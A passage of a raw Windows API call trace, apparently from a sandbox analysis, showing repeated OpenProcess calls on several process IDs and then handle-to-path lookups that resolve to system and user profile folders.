bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.699] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.699] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.699] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.699] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.699] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.699] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.699] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.699] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.700] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.700] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.700] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.700] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.700] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.700] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.700] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.700] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.700] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.701] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.701] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.701] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.701] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.701] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.701] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.701] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.701] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.701] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.702] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.702] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.702] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.702] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.702] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.702] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.702] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.702] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.702] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.702] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.703] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.703] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.703] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.703] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.703] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.703] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.703] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.703] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.703] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.704] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.704] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.704] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.704] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.704] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.704] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.704] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.704] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.704] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.705] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.706] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.706] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.706] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.706] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.706] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.706] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.706] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.706] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.706] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.707] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.707] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.707] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.707] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.707] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.707] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.707] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.707] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.707] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.708] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.708] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.708] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.708] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.708] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.708] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.708] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.717] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.717] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.718] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.718] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.718] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.719] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.720] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.720] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.720] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.720] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.720] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.720] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.720] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.720] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.720] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.721] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.722] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.722] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.722] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.722] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.722] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.722] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.722] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.722] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.722] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.723] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.723] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.723] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.723] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.723] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.723] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.723] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.723] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.723] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.724] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.724] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.724] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.724] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.724] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.724] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.724] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.724] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.724] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.724] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.725] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.725] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.725] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.725] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.725] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.725] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.725] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.725] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0144.725] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0144.725] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0144.726] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0144.726] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0144.726] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0144.726] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0144.726] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0144.726] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0144.726] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0144.726] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0144.726] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0144.727] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0144.727] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0144.728] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0144.728] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0144.728] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0144.728] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0144.728] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0144.728] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0144.728] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0144.728] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0144.728] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0144.728] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0144.729] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0144.730] GetFileType (hFile=0x128) returned 0x1 [0144.730] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0144.731] CloseHandle (hObject=0x128) returned 1 [0144.731] GetFileType (hFile=0xb8) returned 0x1 [0144.731] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a") returned 0x6b [0144.732] CloseHandle (hObject=0xb8) returned 1 [0144.732] GetFileType (hFile=0x128) returned 0x0 [0144.732] CloseHandle (hObject=0x128) returned 1 [0144.732] GetFileType (hFile=0xb8) returned 0x1 [0144.732] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.733] CloseHandle (hObject=0xb8) returned 1 [0144.733] GetFileType (hFile=0x128) returned 0x1 [0144.733] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.734] CloseHandle (hObject=0x128) returned 1 [0144.734] GetFileType (hFile=0xb8) returned 0x1 [0144.734] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0144.735] CloseHandle (hObject=0xb8) returned 1 [0144.735] GetFileType (hFile=0x128) returned 0x1 [0144.735] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895") returned 0x64 [0144.736] CloseHandle (hObject=0x128) returned 1 [0144.736] GetFileType (hFile=0xb8) returned 0x1 [0144.736] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.737] CloseHandle (hObject=0xb8) returned 1 [0144.739] GetFileType (hFile=0x128) returned 0x1 [0144.739] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.740] CloseHandle (hObject=0x128) returned 1 [0144.740] GetFileType (hFile=0xb8) returned 0x1 [0144.740] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.741] CloseHandle (hObject=0xb8) returned 1 [0144.741] GetFileType (hFile=0x128) returned 0x1 [0144.741] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.742] CloseHandle (hObject=0x128) returned 1 [0144.742] GetFileType (hFile=0xb8) returned 0x1 [0144.742] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.743] CloseHandle (hObject=0xb8) returned 1 [0144.743] GetFileType (hFile=0x128) returned 0x1 [0144.743] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0144.744] CloseHandle (hObject=0x128) returned 1 [0144.744] GetFileType (hFile=0xb8) returned 0x1 [0144.744] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3") returned 0x7b [0144.745] CloseHandle (hObject=0xb8) returned 1 [0144.745] GetFileType (hFile=0x128) returned 0x1 [0144.745] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") returned 0x8c [0144.746] CloseHandle (hObject=0x128) returned 1 [0144.746] GetFileType (hFile=0xb8) returned 0x1 [0144.746] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.746] CloseHandle (hObject=0xb8) returned 1 [0144.747] GetFileType (hFile=0x128) returned 0x1 [0144.747] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.748] CloseHandle (hObject=0x128) returned 1 [0144.748] GetFileType (hFile=0xb8) returned 0x1 [0144.748] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.749] CloseHandle (hObject=0xb8) returned 1 [0144.749] GetFileType (hFile=0x128) returned 0x1 [0144.749] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0144.750] CloseHandle (hObject=0x128) returned 1 [0144.750] GetFileType (hFile=0xb8) returned 0x1 [0144.750] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.751] CloseHandle (hObject=0xb8) returned 1 [0144.751] GetFileType (hFile=0x128) returned 0x1 [0144.751] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0144.752] CloseHandle (hObject=0x128) returned 1 [0144.752] GetFileType (hFile=0xb8) returned 0x1 [0144.752] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0144.753] CloseHandle (hObject=0xb8) returned 1 [0144.753] GetFileType (hFile=0x128) returned 0x1 [0144.753] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0144.754] CloseHandle (hObject=0x128) returned 1 [0144.754] GetFileType (hFile=0xb8) returned 0x1 [0144.754] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned 0x58 [0144.756] CloseHandle (hObject=0xb8) returned 1 [0144.756] GetFileType (hFile=0x128) returned 0x1 [0144.756] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0144.757] CloseHandle (hObject=0x128) returned 1 [0144.757] GetFileType (hFile=0xb8) returned 0x1 [0144.757] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0144.757] CloseHandle (hObject=0xb8) returned 1 [0144.757] GetFileType (hFile=0x128) returned 0x1 [0144.758] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0144.759] CloseHandle (hObject=0x128) returned 1 [0144.759] 